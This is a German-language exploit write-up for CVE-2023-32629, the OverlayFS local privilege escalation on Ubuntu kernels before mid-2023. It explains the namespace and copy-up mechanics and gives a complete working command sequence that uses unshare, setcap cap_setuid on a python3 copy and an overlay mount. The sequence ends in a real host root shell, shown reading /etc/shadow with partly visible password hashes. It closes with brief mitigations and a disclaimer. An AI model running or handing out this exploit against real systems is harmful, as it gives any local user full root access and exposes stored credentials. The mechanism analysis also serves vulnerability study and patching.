
OverlayFS Lokale Privilegienausweitung - Ausführlicher Bericht bis zur vollständigen Eskalation
OverlayFS Lokale Privilegieneskalation - Vollständige Ausarbeitung bis zur vollen Eskalation
Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
Schweregrad: Hoch
Typ: Lokale Privilegieneskalation (LPE)
Betroffen: Ubuntu-Kernel vor den Patches von Mai/Juni 2023
Voraussetzung: Nicht-privilegierte Benutzer-Namespaces aktiviert (Standard bei Ubuntu)
CVE-2023-32629 ist eine Schwachstelle in der OverlayFS-Implementierung des Linux-Kernels. Sie missbraucht die Interaktion zwischen Benutzer-Namespaces und Dateisystem-Capabilities während des OverlayFS-Copy-up-Vorgangs, um eine lokale Privilegieneskalation von jedem nicht-privilegierten Benutzer zu echtem Host-Root zu erreichen.
Wenn Sie unshare -r ausführen, erstellt der Kernel einen neuen Benutzer-Namespace und ordnet Ihre Host-UID der UID 0 darin zu:
/proc/self/uid_map:
0 1001 1 ← "UID 0 inside namespace = UID 1001 (lowpriv) outside"
Das bedeutet, dass Sie innerhalb des Namespace als root erscheinen, aber der Host-Kernel übersetzt bei Dateisystem-Berechtigungsprüfungen auf Host-Ressourcen immer zurück zu Ihrer echten UID.
OverlayFS stapelt ein lowerdir (schreibgeschützt) und ein upperdir (lese-schreibbar) zu einer gemischten Ansicht. Wenn eine Datei in lowerdir über die gemischte Ansicht beschrieben wird, kopiert der Kernel sie zuerst in upperdir — dies wird Copy-up genannt.
Kritisch: Der Copy-up wird vom Kernel selbst mit Host-Anmeldeinformationen durchgeführt, unabhängig davon, welcher Namespace ihn ausgelöst hat. Alle erweiterten Attribute (xattrs), einschließlich Dateisystem-Capabilities, werden während dieses Vorgangs beibehalten.
| Mechanismus | Erfordert Root-Besitz | Gewährt durch |
|---|---|---|
| SUID-Bit | ✅ Ja | chmod u+s |
Capabilities (cap_setuid) | ❌ Nein | setcap + trusted xattr |
Diese Unterscheidung ist der Kern des Exploits. Capabilities werden vom Kernel allein aufgrund des xattr berücksichtigt, unabhängig davon, wem die Datei gehört.
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
Die Befehle cp und chmod wurden innerhalb des Namespace ausgeführt, wo UID 0 auf lowpriv auf dem Host abgebildet wird. Also:
/tmp/rootshell gehörte lowpriv, nicht echtem Rootlowpriv gewährt nur lowpriv — was wir bereits hattencp-Vorgang hat auch die Capability-xattrs von der Binärdatei entferntunshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
Die Shell war nur innerhalb des Namespace root. Als sie versuchte, auf /etc/shadow zuzugreifen, führte der Kernel die VFS-Berechtigungsprüfung mit der übersetzten Host-UID durch:
Process UID (inside NS): 0 (looks like root)
Kernel translation: 0 → 1001 (lowpriv on host)
/etc/shadow permissions: 640 root:shadow
Effective checker UID: 1001 (lowpriv)
Result: EACCES — Permission denied
Die Namespace-Blase durchbricht nie den echten Host-Root, wenn auf Host-Dateisystemressourcen zugegriffen wird.
# Step 1: Set up the OverlayFS inside the namespace and EXIT
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch triggers kernel copy-up: l/python3 → u/python3
# kernel runs copy-up with HOST credentials, preserving cap_setuid xattr
# Step 2: Verify the capability survived on the host filesystem
getcap u/python3
# u/python3 cap_setuid=eip ← trusted xattr set on host FS
# Step 3: Execute OUTSIDE the namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. setcap inside user namespace
│
│ writes cap_setuid as trusted xattr on l/python3
▼
2. touch m/python3 → OverlayFS copy-up triggered
│
│ kernel copies l/ → u/ using HOST credentials
│ ALL xattrs preserved, including cap_setuid
▼
3. u/python3 exists on HOST filesystem
│
│ owner: lowpriv (irrelevant for capabilities)
│ xattr: cap_setuid=eip (kernel trusts this)
▼
4. Execute u/python3 OUTSIDE the namespace
│
│ no UID mapping in effect
│ kernel reads cap_setuid=eip as host-level capability
│ os.setuid(0) → real host root
▼
5. Shell has genuine UID 0
│
│ VFS checks pass as real root
└─ /etc/shadow readable
Der Kernel sollte keine vertrauenswürdigen Capability-xattrs berücksichtigen, die während des Copy-up aus einem Benutzer-Namespace gesetzt wurden, da diese xattrs Vertrauen auf Host-Ebene tragen. Die Nichteinhaltung dieser Grenze ist der Fehler.
Der Namespace gab uns die Fähigkeit, eine vertrauenswürdige Capability auf eine Datei zu setzen; der Kernel-Copy-up schmuggelte diese Capability auf das Host-Dateisystem; die Ausführung außerhalb des Namespace machte sie real.
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs-Kombinationen von nicht-privilegierten BenutzernDieses Tool wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch.
| Innerhalb des Namespace | Außerhalb des Namespace |
|---|
| UID 0 bedeutet | lowpriv (zugeordnet) | echter Root |
setuid(0)-Effekt | keine Wirkung (bereits NS-Root) | echte Eskalation |
| Host-Dateisystemzugriff | übersetzt → lowpriv | voller Root |
cap_setuid berücksichtigt | nur innerhalb NS | ja, Host-Ebene |